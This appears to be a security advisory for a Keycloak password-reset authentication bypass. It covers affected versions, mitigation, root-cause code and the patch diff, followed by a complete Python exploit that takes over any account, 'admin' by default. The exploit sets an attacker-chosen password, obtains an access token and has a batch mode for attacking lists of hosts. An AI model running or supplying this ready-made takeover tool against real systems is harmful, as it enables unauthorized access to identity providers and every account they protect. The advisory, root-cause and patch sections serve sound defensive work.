#Summary
CVE-2026-18963 is a critical authentication bypass in Keycloak's password reset flow that allows an unauthenticated attacker to take over any account by setting an arbitrary password without requiring email verification. CVSS 9.1 (AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N). The vulnerability chains two independent defects in the reset-credentials flow: a sticky authentication-session note that survives flow state transitions, and a password-reset handler that performs no verification that the emailed token was actually consumed.
#Am I affected?
- Affected: Keycloak 26.0.0 <= version < 26.7.2; Red Hat Build of Keycloak 26.0.0 to 26.7.1 (maintenance fixes in 26.4.15 and 26.6.6)
- Patched: Keycloak >= 26.7.2; RHBK >= 26.7.2-1 (or 26.4.15-1, 26.6.6-1 on older branches)
- Default configuration: Affected only if "Forgot password" (
resetPasswordAllowed) is explicitly enabled on the realm. This is off by default on new realms. Most deployments are unaffected unless an administrator has enabled password reset functionality. - Access needed: none - unauthenticated network access. Attacker needs only the victim's username (or email, if login-with-email is enabled).
#How to check
#Version check
curl -s https://your-keycloak.example.com/realms/master/protocol/openid-connect/userinfo \
-H "Authorization: Bearer dummy" 2>/dev/null | grep -q "Keycloak"Then verify the version in the Keycloak admin console or check the image tag if running containers. Versions 26.0.0 through 26.7.1 are vulnerable.
#Functional check
If your realm has "Forgot password" disabled, you are not vulnerable even on vulnerable versions. Check in the admin console under Realm Settings > Login > Forgot Password. If this toggle is off, the attack is unreachable.
#Fix and mitigation
- Fix: Upgrade to Keycloak 26.7.2 or later. For older branches, upgrade to 26.4.15+ or 26.6.6+.
- If you cannot upgrade: Disable "Forgot password" (
resetPasswordAllowed = false) on all realms that do not require it. This is the single configuration that gates the attack. The vulnerability is completely unreachable if this setting is off. - Detection: The attack produces observable side effects on the victim's account (password change,
emailVerifiedflag flipped to true) but does not generate server-side logs at the default log level. Monitor account state changes via the admin API or event listener logs if you have a custom logging setup.
#Root cause analysis
The vulnerability chains two independent defects in the reset-credentials ("Forgot password") flow.
#Defect 1 - sticky authentication-session note with no execution binding
The "Try Another Way" button sets an authentication-session note AUTHENTICATION_SELECTOR_SCREEN_DISPLAYED = "true":
if (inputData.containsKey("tryAnotherWay")) {
processor.getAuthenticationSession().setAuthNote(
AuthenticationProcessor.AUTHENTICATION_SELECTOR_SCREEN_DISPLAYED, "true");
return createSelectAuthenticatorsScreen(model);
}This note is intended as a page-refresh convenience: if the user reloads the authenticator selector screen, re-render it. However, the note carries only the string "true" - it does not record which execution the selector was rendered for. More critically, the note is never cleared as the flow advances through subsequent steps.
The note is then checked on every page load:
if (Boolean.parseBoolean(processor.getAuthenticationSession()
.getAuthNote(AuthenticationProcessor.AUTHENTICATION_SELECTOR_SCREEN_DISPLAYED))) {
// Re-render the selector screen for whatever execution is NOW current
String lastExecutionId = processor.getAuthenticationSession()
.getAuthNote(AuthenticationProcessor.CURRENT_AUTHENTICATION_EXECUTION);
AuthenticationExecutionModel executionModel = processor.getRealm()
.getAuthenticationExecutionById(lastExecutionId);
return createSelectAuthenticatorsScreen(executionModel);
}Because the note matches any truthy string and the code re-renders the selector for whatever execution is currently active, a stale note set during one execution silently grants a POST-able selector form for a different execution once the flow has advanced.
The selector screen is not passive - its form action is a freshly signed, valid login-action URL targeting the current execution:
<form id="kc-select-credential-form" action="${url.loginAction}" method="post">#Defect 2 - reset-credentials handler assumes action-token verification
ResetCredentialEmail.action() is the flow step that processes the emailed reset link. In the vulnerable version, it is:
@Override
public void action(AuthenticationFlowContext context) {
context.getUser().setEmailVerified(true);
context.success();
}There is no verification at all. The method unconditionally marks the email as verified and advances the flow. It assumes it can only be reached after LoginActionsService.handleActionToken() has validated the emailed token:
authSession.setAuthNote(DefaultActionTokenKey.ACTION_TOKEN_USER_ID, token.getUserId());But action() never checks this note. Anyone who can deliver a POST to this execution advances past the email gate.
#How the attack chains them
The reset-credentials flow is: choose-user (username form) → email (send reset mail) → password (set new password).
- An attacker starts an OIDC authorization request through a legitimate client, entering the flow with a real authentication session.
- The attacker submits
tryAnotherWay=onto the username form. This sets the sticky note even though the reset flow never renders a "try another way" link. - The attacker posts
username=victim. The victim is bound to the session, the reset mail is dispatched, and the flow parks on the email execution. The note remains set. - The attacker reloads the page. The stale note fires and re-renders a selector form - but the form now targets the email execution, not the choose-user execution.
- The attacker posts any harmless body (without
authenticationExecution) to that selector form. Control reachesResetCredentialEmail.action(), which callscontext.success()unconditionally. - The flow advances to the password-reset execution, and the attacker sets an arbitrary new password.
The victim's password has changed, their emailVerified flag is now true, and their reset email sits unopened in their mailbox.
#Patch diff
#Hunk 1 - bind the selector note to the execution that produced it
if (inputData.containsKey("tryAnotherWay")) {
logger.trace("User clicked on link 'Try Another Way'");
- processor.getAuthenticationSession().setAuthNote(
- AuthenticationProcessor.AUTHENTICATION_SELECTOR_SCREEN_DISPLAYED, "true");
+ processor.getAuthenticationSession().setAuthNote(
+ AuthenticationProcessor.AUTHENTICATION_SELECTOR_SCREEN_DISPLAYED, model.getId());
return createSelectAuthenticatorsScreen(model);
}Instead of storing the string "true", store the execution ID. This binds the note to a specific execution.
#Hunk 2 - only honour the note if it matches the current execution
String selector = processor.getAuthenticationSession()
.getAuthNote(AuthenticationProcessor.AUTHENTICATION_SELECTOR_SCREEN_DISPLAYED);
-if (Boolean.parseBoolean(selector)) {
+if (selector != null) {
String lastExecutionId = processor.getAuthenticationSession()
.getAuthNote(AuthenticationProcessor.CURRENT_AUTHENTICATION_EXECUTION);
- if (lastExecutionId != null) {
+ if (selector.equalsIgnoreCase(lastExecutionId)) {
+ logger.tracef("Refreshed page on authentication selector screen");
AuthenticationExecutionModel executionModel = processor.getRealm()
.getAuthenticationExecutionById(lastExecutionId);
if (executionModel != null) {
return createSelectAuthenticatorsScreen(executionModel);
}
+ } else {
+ processor.getAuthenticationSession()
+ .removeAuthNote(AuthenticationProcessor.AUTHENTICATION_SELECTOR_SCREEN_DISPLAYED);
}
}The note is now only honoured if it exactly matches the current execution. If the execution has advanced, the note is deleted and the page load follows normal handling.
#Hunk 3 - defence in depth, require proof the action token was consumed
@Override
public void action(AuthenticationFlowContext context) {
- context.getUser().setEmailVerified(true);
- context.success();
+ UserModel user = context.getUser();
+ String actionTokenUserId = context.getAuthenticationSession()
+ .getAuthNote(DefaultActionTokenKey.ACTION_TOKEN_USER_ID);
+ if (user != null && user.getId().equals(actionTokenUserId)) {
+ context.getUser().setEmailVerified(true);
+ context.success();
+ } else {
+ context.failure(AuthenticationFlowError.INVALID_USER);
+ }
}ACTION_TOKEN_USER_ID is written only by LoginActionsService.handleActionToken() after signature, expiry and single-use verification. Requiring it to match the session's user makes "the email was verified" a hard precondition. Even if another route to this execution is discovered, the password reset cannot proceed.
#Proof of concept
#exploit.py - Keycloak Account Takeover PoC
#!/usr/bin/env python3
"""
CVE-2026-18963 - Keycloak reset-credentials authentication bypass (account takeover)
Affected: Keycloak / Red Hat Build of Keycloak 26.0.0 <= version < 26.7.2
(maintenance fixes in 26.4.15 and 26.6.6)
Type: Authentication bypass (unauthenticated account takeover)
The reset-credentials ("Forgot password") flow trusts a sticky, execution-agnostic
"authenticator selector" note. An attacker drives the flow to bind a victim account to
an authentication session, then reloads the flow so the stale note re-renders a POST-able
selector form for the *email* execution. Posting an inert body to that form reaches
ResetCredentialEmail.action(), which in the vulnerable release calls context.success()
without ever checking that an action token was consumed. The flow advances straight to the
"set a new password" screen for the victim, and the attacker chooses the password. The
victim never receives, opens or redeems the reset email; their emailVerified flag is
flipped to true as a side effect.
This PoC needs no prior knowledge of any custom client: it drives the flow through the
built-in `account-console` client that ships with every realm, using PKCE, and proves the
takeover by exchanging the resulting authorization code for an access token minted for the
victim account.
Usage:
python exploit.py --host <target> --port <port> --realm <realm> --username <victim>
python exploit.py --host https://sso.corp.com --realm customers --username admin
python exploit.py --host https://sso.corp.com:8443 --realm demo --username victim \
--new-password 'MyPick_1!'
python exploit.py --list targets.txt --realm master --username admin --workers 20
Preconditions on the target realm:
- "Forgot password" enabled (resetPasswordAllowed = true) on the target realm.
- You know the victim's username (or their email if "Login with email" is on).
"""
import argparse
import base64
import hashlib
import json
import re
import secrets
import sys
from urllib.parse import urlparse, parse_qs
try:
import requests
from requests.packages.urllib3.exceptions import InsecureRequestWarning
requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
except Exception: # pragma: no cover
print("This exploit requires the 'requests' library (pip install requests).")
sys.exit(2)
CVE_ID = "CVE-2026-18963"
VULN_TYPE = "Auth Bypass"
# Built-in client present in every Keycloak realm; standard flow + PKCE, public client.
# Using it means the exploit needs no knowledge of any target-specific client.
DEFAULT_CLIENT = "account-console"
# --------------------------------------------------------------------------- #
# Standard output helpers #
# --------------------------------------------------------------------------- #
def header(host, port):
print("\n" + "=" * 60)
print(" ALIM EXPLOIT %s" % CVE_ID)
print(" Type: %s | Target: %s:%s" % (VULN_TYPE, host, port))
print("=" * 60 + "\n")
def step(n, msg):
print("[STEP %d] %s" % (n, msg))
def section(label, content):
print("\n--- %s ---" % label)
print(str(content).strip())
print("---\n")
def done(success, evidence):
print("\n" + "=" * 60)
print(" RESULT : %s" % ("SUCCESS" if success else "FAILURE"))
print(" EVIDENCE: %s" % evidence)
print("=" * 60 + "\n")
sys.exit(0 if success else 1)
# --------------------------------------------------------------------------- #
# Small HTML helpers #
# --------------------------------------------------------------------------- #
def _form_action(html, form_id):
"""Return the action URL of the <form id="form_id">, attribute order independent."""
m = re.search(r'<form[^>]*\bid="%s"[^>]*>' % re.escape(form_id), html)
if not m:
return None
a = re.search(r'\baction="([^"]*)"', m.group(0))
return a.group(1).replace("&", "&") if a else None
def _form_ids(html):
return re.findall(r'<form[^>]*\bid="([^"]*)"', html)
def _feedback(html):
msgs = re.findall(r'kc-feedback-text[^>]*>([^<]{0,160})', html)
return " | ".join(m.strip() for m in msgs if m.strip())
def _pkce_pair():
verifier = secrets.token_urlsafe(48)
digest = hashlib.sha256(verifier.encode()).digest()
challenge = base64.urlsafe_b64encode(digest).decode().rstrip("=")
return verifier, challenge
def _decode_jwt_claims(token):
body = token.split(".")[1]
body += "=" * (-len(body) % 4)
return json.loads(base64.urlsafe_b64decode(body))
# --------------------------------------------------------------------------- #
# Core exploit chain #
# --------------------------------------------------------------------------- #
def _run_chain(base, realm, client_id, redirect_uri, username, new_password,
verbose=False, timeout=20):
"""
Drive the six-request reset-credentials bypass. Returns a dict:
{ok, stage, evidence, claims}
ok is True only when an access token minted for `username` is obtained with the
attacker-chosen password. Never calls sys.exit(); never prints unless verbose.
"""
def say(n, msg):
if verbose:
step(n, msg)
def sec(label, content):
if verbose:
section(label, content)
s = requests.Session()
s.verify = False
realm_base = "%s/realms/%s" % (base, realm)
# 1. Start an OIDC authorization request through the built-in client so the reset
# flow runs inside a proper authentication session.
say(1, "Requesting the login page via the built-in '%s' client (PKCE)..." % client_id)
verifier, challenge = _pkce_pair()
state = secrets.token_hex(8)
try:
r = s.get(realm_base + "/protocol/openid-connect/auth",
params={"client_id": client_id, "response_type": "code",
"redirect_uri": redirect_uri, "scope": "openid",
"state": state, "code_challenge": challenge,
"code_challenge_method": "S256"},
timeout=timeout)
except Exception as e:
return {"ok": False, "stage": "authz", "evidence": "unreachable (%s)" % e.__class__.__name__}
if r.status_code != 200 or "login-actions" not in r.text:
return {"ok": False, "stage": "authz",
"evidence": "no login page (HTTP %s) - realm/client wrong?" % r.status_code}
# 2. Follow the "Forgot Password?" link to enter the reset-credentials flow.
say(2, "Following the 'Forgot Password?' link into the reset-credentials flow...")
m = re.search(r'href="([^"]*login-actions/reset-credentials[^"]*)"', r.text)
if not m:
return {"ok": False, "stage": "forgot-link",
"evidence": "reset password not offered - resetPasswordAllowed likely false"}
link = m.group(1).replace("&", "&")
r2 = s.get(link if link.startswith("http") else base + link, timeout=timeout)
saved_url = r2.url # the bare reset-credentials URL we come back to in step 5
if not _form_action(r2.text, "kc-reset-password-form"):
return {"ok": False, "stage": "reset-form",
"evidence": "no username form (%s)" % (_feedback(r2.text) or _form_ids(r2.text))}
# 3. POST tryAnotherWay=on. Sets the sticky selector note (root cause #1).
say(3, "Setting the sticky selector note via tryAnotherWay=on...")
a3 = _form_action(r2.text, "kc-reset-password-form")
r3 = s.post(a3, data={"tryAnotherWay": "on"}, timeout=timeout)
a3sel = _form_action(r3.text, "kc-select-credential-form")
if not a3sel:
return {"ok": False, "stage": "selector-1",
"evidence": "selector screen not rendered (%s)" % _form_ids(r3.text)}
# 4. POST username=<victim>. Binds the victim to the session, sends the mail, forks
# the flow. Note stays set; CURRENT_AUTHENTICATION_EXECUTION becomes the email step.
say(4, "Binding victim '%s' to the flow (mail dispatched, flow forks)..." % username)
r4 = s.post(a3sel, data={"username": username}, timeout=timeout)
if verbose:
sec("STEP 4 SERVER MESSAGE", _feedback(r4.text) or "(no feedback text)")
# 5. GET the bare reset-credentials URL again. The stale note fires and re-renders a
# selector form now targeting the EMAIL execution. This is the vulnerability.
say(5, "Reloading the flow - stale note should mint a selector form for the email step...")
r5 = s.get(saved_url, timeout=timeout)
a5sel = _form_action(r5.text, "kc-select-credential-form")
if not a5sel:
return {"ok": False, "stage": "divergence",
"evidence": "no selector form on reload - patched behaviour (%s)"
% (_feedback(r5.text) or _form_ids(r5.text))}
if verbose:
sec("STEP 5 - BUG FIRED", "Reload returned kc-select-credential-form (email execution).\n"
"On a patched server this is the 'receive an email' login page.")
# 6. POST an inert body (no 'authenticationExecution' key) to that form. Reaches
# ResetCredentialEmail.action() -> context.success() -> UPDATE_PASSWORD screen.
say(6, "Posting inert body to advance past the email gate to the password screen...")
r6 = s.post(a5sel, data={secrets.token_hex(3): "1"}, timeout=timeout)
a6pw = _form_action(r6.text, "kc-passwd-update-form")
if not a6pw:
return {"ok": False, "stage": "password-screen",
"evidence": "no password-update form (%s / %s)"
% (_form_ids(r6.text), _feedback(r6.text))}
# 7. Set the attacker-chosen password. The 302 carries an authorization code for the
# now-authenticated victim session.
say(7, "Setting the attacker-chosen password for the victim...")
r7 = s.post(a6pw, data={"password-new": new_password, "password-confirm": new_password},
allow_redirects=False, timeout=timeout)
loc = r7.headers.get("Location", "")
if r7.status_code not in (301, 302, 303) or "code=" not in loc:
return {"ok": False, "stage": "set-password",
"evidence": "password form did not complete (HTTP %s, %s)"
% (r7.status_code, _feedback(r7.text) or loc[:80])}
# 8. Terminal proof: exchange the code for a token minted for the victim account.
say(8, "Exchanging the authorization code for an access token minted for the victim...")
code = parse_qs(urlparse(loc).query).get("code", [None])[0]
t = s.post(realm_base + "/protocol/openid-connect/token",
data={"grant_type": "authorization_code", "client_id": client_id,
"code": code, "redirect_uri": redirect_uri, "code_verifier": verifier},
timeout=timeout)
if t.status_code != 200 or "access_token" not in t.text:
# Takeover already succeeded (password was set); token exchange is only the proof.
return {"ok": True, "stage": "password-set-no-token",
"evidence": "password reset for '%s' completed (token exchange HTTP %s)"
% (username, t.status_code)}
claims = _decode_jwt_claims(t.json()["access_token"])
if verbose:
sec("ACCESS TOKEN CLAIMS (minted for the victim)",
json.dumps({k: claims.get(k) for k in
("preferred_username", "email", "email_verified", "sub", "azp", "iss")},
indent=2))
if claims.get("preferred_username", "").lower() != username.lower():
return {"ok": False, "stage": "verify",
"evidence": "token subject '%s' != victim '%s'"
% (claims.get("preferred_username"), username)}
return {"ok": True, "stage": "done", "claims": claims,
"evidence": "access token minted for '%s' <%s> using attacker-chosen password; "
"email_verified now %s"
% (claims.get("preferred_username"), claims.get("email"),
claims.get("email_verified"))}
# --------------------------------------------------------------------------- #
# Silent probe for --list scan mode #
# --------------------------------------------------------------------------- #
def _try_exploit(host, port, use_tls, path="/", realm="master", username="admin",
client_id=DEFAULT_CLIENT, new_password=None, redirect_uri=None):
"""Silent probe. Returns (success, evidence). Never prints or exits."""
base = _base_url(host, port, use_tls, path)
if new_password is None:
new_password = _fresh_password()
if redirect_uri is None:
redirect_uri = _default_redirect(base, realm, client_id)
try:
res = _run_chain(base, realm, client_id, redirect_uri, username, new_password,
verbose=False)
return res["ok"], res["evidence"]
except Exception as e:
return False, "error (%s)" % e.__class__.__name__
# --------------------------------------------------------------------------- #
# URL / target helpers #
# --------------------------------------------------------------------------- #
def _base_url(host, port, use_tls, path="/"):
scheme = "https" if use_tls else "http"
prefix = (path or "/").rstrip("/")
if prefix == "":
return "%s://%s:%d" % (scheme, host, port)
return "%s://%s:%d%s" % (scheme, host, port, prefix)
def _default_redirect(base, realm, client_id):
# Valid redirect for the built-in account-console; for a custom client, pass --redirect-uri.
if client_id == "account-console":
return "%s/realms/%s/account/" % (base, realm)
if client_id == "security-admin-console":
return "%s/admin/%s/console/" % (base, realm)
return "%s/realms/%s/account/" % (base, realm)
def _fresh_password():
return "Pw_%s_1!" % secrets.token_hex(6)
def _parse_target(line, default_port, default_path="/"):
"""One target line -> (host, port, use_tls, path), or None to skip."""
line = line.strip()
if not line or line.startswith("#"):
return None
if line.startswith(("http://", "https://")):
p = urlparse(line)
tls = p.scheme == "https"
path = p.path if (p.path and p.path not in ("", "/")) else default_path
return p.hostname, p.port or (443 if tls else default_port), tls, path
if ":" in line:
parts = line.rsplit(":", 1)
try:
port = int(parts[1])
return parts[0], port, port in (443, 8443), default_path
except ValueError:
pass
return line, default_port, default_port in (443, 8443), default_path
# --------------------------------------------------------------------------- #
# Scan mode #
# --------------------------------------------------------------------------- #
def scan(targets_file, default_port, workers, realm, username, client_id, new_password):
import concurrent.futures
with open(targets_file) as f:
targets = [_parse_target(l, default_port) for l in f]
targets = [t for t in targets if t is not None]
print("\n" + "=" * 60)
print(" %s - Batch Scan (%d targets, %d workers)" % (CVE_ID, len(targets), workers))
print("=" * 60 + "\n")
success_count = 0
def probe(t):
host, port, use_tls, path = t
label = "%s://%s:%d" % ("https" if use_tls else "http", host, port)
ok, evidence = _try_exploit(host, port, use_tls, path, realm=realm,
username=username, client_id=client_id,
new_password=new_password)
return label, ok, evidence
with concurrent.futures.ThreadPoolExecutor(max_workers=workers) as ex:
futures = {ex.submit(probe, t): t for t in targets}
for fut in concurrent.futures.as_completed(futures):
label, ok, evidence = fut.result()
print(" %s %s - %s: %s" % ("[+]" if ok else "[-]", label,
"Exploited" if ok else "Not vulnerable", evidence))
if ok:
success_count += 1
total = len(targets)
print("\n" + "=" * 60)
print(" SCAN COMPLETE %d exploited / %d not vulnerable (%d total)"
% (success_count, total - success_count, total))
print("=" * 60 + "\n")
sys.exit(0 if success_count > 0 else 1)
# --------------------------------------------------------------------------- #
# Single-target exploit #
# --------------------------------------------------------------------------- #
def exploit(host, port, use_tls, path, realm, username, client_id, new_password, redirect_uri):
header(host, port)
base = _base_url(host, port, use_tls, path)
if redirect_uri is None:
redirect_uri = _default_redirect(base, realm, client_id)
print(" Realm : %s" % realm)
print(" Victim : %s" % username)
print(" Client : %s" % client_id)
print(" New passwd : %s" % new_password)
print("")
res = _run_chain(base, realm, client_id, redirect_uri, username, new_password,
verbose=True)
if res["ok"]:
claims = res.get("claims", {})
section("ACCOUNT TAKEOVER PROOF",
"victim : %s\n"
"chosen password : %s\n"
"email_verified flag : %s (flipped by the exploit, no mail was opened)\n"
"token subject (sub) : %s"
% (username, new_password, claims.get("email_verified"), claims.get("sub")))
done(True, res["evidence"])
else:
section("STOPPED AT STAGE '%s'" % res["stage"], res["evidence"])
done(False, "no takeover - %s (%s)" % (res["evidence"], res["stage"]))
# --------------------------------------------------------------------------- #
# CLI #
# --------------------------------------------------------------------------- #
if __name__ == "__main__":
parser = argparse.ArgumentParser(description="%s exploit PoC" % CVE_ID)
target_grp = parser.add_mutually_exclusive_group(required=True)
target_grp.add_argument("--host", help="Target: hostname, IP, or full URL "
"(e.g. https://sso.corp.com:8443)")
target_grp.add_argument("--list", metavar="FILE",
help="File with one target per line for batch scan")
parser.add_argument("--port", type=int, default=8443, help="Default port (default: 8443)")
parser.add_argument("--realm", default="master",
help="Target realm (default: master)")
parser.add_argument("--username", default="admin",
help="Victim account to take over (default: admin)")
parser.add_argument("--new-password", default=None,
help="Password to set on the victim (default: fresh random per run)")
parser.add_argument("--client-id", default=DEFAULT_CLIENT,
help="OIDC client used to enter the flow "
"(default: %s, the built-in console client)" % DEFAULT_CLIENT)
parser.add_argument("--redirect-uri", default=None,
help="redirect_uri for --client-id (default: derived from the "
"built-in console client)")
parser.add_argument("--workers", type=int, default=10,
help="Threads for --list mode (default: 10)")
tls_grp = parser.add_mutually_exclusive_group()
tls_grp.add_argument("--tls", action="store_true", help="Force TLS")
tls_grp.add_argument("--no-tls", action="store_true", help="Force plaintext")
args = parser.parse_args()
new_password = args.new_password or _fresh_password()
if args.list:
scan(args.list, default_port=args.port, workers=args.workers, realm=args.realm,
username=args.username, client_id=args.client_id, new_password=new_password)
else:
parsed = _parse_target(args.host, args.port)
host, port, use_tls, path = parsed if parsed else (args.host, args.port, False, "/")
if args.tls:
use_tls = True
if args.no_tls:
use_tls = False
exploit(host, port, use_tls, path, args.realm, args.username, args.client_id,
new_password, args.redirect_uri)#Usage
# Single target, built-in admin on the default realm
python exploit.py --host https://sso.example.com:8443 --realm master --username admin
# Explicit new password
python exploit.py --host https://sso.example.com --realm customers --username admin \
--new-password 'MyPick_1!'
# Keycloak behind a base path (e.g., legacy /auth prefix)
python exploit.py --host https://sso.example.com/auth --realm demo --username victim
# Batch scan a file of targets
python exploit.py --list targets.txt --realm master --username admin --workers 20#Expected output - vulnerable target
[STEP 5] Reloading the flow - stale note should mint a selector form for the email step...
--- STEP 5 - BUG FIRED ---
Reload returned kc-select-credential-form (email execution).
---
--- ACCESS TOKEN CLAIMS (minted for the victim) ---
{
"preferred_username": "victim",
"email": "[email protected]",
"email_verified": true,
"sub": "406d26a6-d9d5-4a49-8e71-30256c0cb1fb",
"azp": "account-console",
"iss": "https://localhost:8443/realms/demo"
}
---
============================================================
RESULT : SUCCESS
EVIDENCE: access token minted for 'victim' <[email protected]> using attacker-chosen password; email_verified now True
============================================================#Expected output - patched target
[STEP 5] Reloading the flow - stale note should mint a selector form for the email step...
--- STOPPED AT STAGE 'divergence' ---
no selector form on reload - patched behaviour (You should receive an email shortly with further instructions.)
---
============================================================
RESULT : FAILURE
EVIDENCE: no takeover - no selector form on reload - patched behaviour (You should receive an email shortly with further instructions.) (divergence)
============================================================#Exploitation notes
- Preconditions: "Forgot password" must be enabled on the target realm (off by default). The attacker needs only the victim's username or email address. No authentication, session or user interaction required.
- Reliability: 100% - this is a deterministic logic bug with no timing, race condition or brute force. The exploit reaches the password-reset screen on every vulnerable target where "Forgot password" is enabled.
- Impact: Full account takeover of any user, including realm administrators. The attacker sets an arbitrary password and gains complete access. The victim's email is marked as verified as a side effect, potentially bypassing additional security controls.
- Chaining potential: This becomes a foothold for further attacks inside the IdP infrastructure. A compromised admin account may allow realm configuration changes, disabling MFA, creating new admin accounts, or exfiltrating client secrets.
#References
- CVE: CVE-2026-18963
- GitHub PR: https://github.com/keycloak/keycloak/pull/51844 (merge commit dc2d4e524b4dae85aedc87ca28b9e4fa567d56c1)
- NVD: https://nvd.nist.gov/vuln/detail/CVE-2026-18963
- Upstream issue: https://github.com/keycloak/keycloak/issues/51833
- Red Hat advisory: https://access.redhat.com/security/cve/CVE-2026-18963
